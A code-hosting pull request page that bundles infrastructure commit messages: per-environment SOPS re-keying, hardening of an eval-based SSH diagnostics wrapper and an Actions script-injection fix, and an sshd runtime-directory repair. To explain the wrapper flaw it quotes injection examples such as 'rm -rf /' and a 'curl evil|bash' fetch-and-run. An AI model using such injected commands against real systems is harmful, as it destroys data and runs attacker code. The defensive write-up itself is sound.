YL #1
Loading…
Add table
Add a link
Reference in a new issue
No description provided.
Delete branch "YL"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
MailCow Implementatie + SSO Geintergreerd.
Every real secret was encrypted to the single legacy key age170jqy5…, so one key decrypted prod tokens AND every client's credentials. Per-env keys existed on paper but decrypted nothing. This applies genuine cryptographic per-environment isolation: - Split shared.sops.yaml -> hcloud-{dev,test,prod}.sops.yaml (each token to ONLY its env key) + shared-common.sops.yaml (non-env-sensitive: mailgun, acme, storage box, docker hub, monitoring, matrix diun — encrypted to all three env keys). - Re-key all client files to their env: dev->dev, test/demo/buildup->test, the 10 prod animals + edge->prod, template->all three. - Rewrite .sops.yaml creation rules (first-match-wins, specific before catch-all); the legacy key is no longer a recipient of anything. - Point consumers at the new files: ansible load_vars -> shared-common; deploy-backups-all.sh + load-secrets-env.sh -> hcloud-prod; paymenter-webhook-bridge.py -> shared-common. Verified: each hcloud token decrypts with ONLY its env key (prod token denied to dev/test keys); shared-common opens with any env key; every client file opens with only its env key; the legacy key opens nothing. Token/value integrity confirmed against the originals. Also fixes #177: a per-env CI runner can now decrypt its env's client file + shared-common, which was the concrete blocker for bought-server setup in CI. Custody follow-up (prod key still present on the operator workstation) tracked separately; this pass is the cryptographic re-key. Closes #37. Closes #177.diagnostics-wrapper.sh (the ForceCommand 'read-only' boundary for the diagnostics SSH key): matched SSH_ORIGINAL_COMMAND against globs like 'ls *' / 'journalctl*' then ran eval "$SSH_ORIGINAL_COMMAND" — the '*' swallowed shell metacharacters, so e.g. 'journalctl -n1; rm -rf /' or 'ls $(curl evil|bash)' matched the whitelist and eval executed it. The stdin path validated arbitrary scripts by a bypassable blocklist then piped to bash. Since the diagnostics user is in the docker group (root-equivalent), that was effectively root. Rewritten to a strict allowlist: run ONLY a vetted, server-side script (deployed root-owned to /usr/local/lib/diagnostics) selected by exact name — no eval, no arbitrary stdin, no blocklist. diagnostics.yaml now sends the script NAME; the role deploys the scripts server-side. state-surgery-dev.yaml: 'for addr in ${{ inputs.addresses }}' expanded an untrusted dispatch input into the shell source (Actions script injection) — arbitrary code on the runner, which holds the dev Hetzner + S3 credentials. Pass the input via env and charset-validate each address. NOTE: not exploitable by read-only repo users (dispatch needs write; the diagnostics key is a Forgejo secret) — but a compromised writer or leaked key could. Requires a setup re-run on each server (diagnostics tag) to deploy the new wrapper + scripts; the new workflow + wrapper go together.Root-caused the recurring 'sshd refused all connections (kex reset)' on aalscholver/buildup (2026-09-08): sshd logged 'fatal: Missing privilege separation directory: /run/sshd' on every connection for ~20 min until reboot. ssh.service sets RuntimeDirectory=sshd, which creates /run/sshd only on service START and does NOT shield it from systemd-tmpfiles-clean; with no tmpfiles rule declaring /run/sshd, the periodic cleaner removed the empty dir from under a running sshd, so the listener kept accepting TCP but every privsep child fataled -> connection reset for everyone, from every source IP (ruled out fail2ban/firewall). A reboot recreated it. Fix: ship /etc/tmpfiles.d/sshd.conf ('d /run/sshd 0755 root root -') so the dir is declared, recreated at boot, and never age-cleaned; apply it immediately with systemd-tmpfiles --create. Also tag the ssh include so it can be rolled with --tags ssh. Closes #66.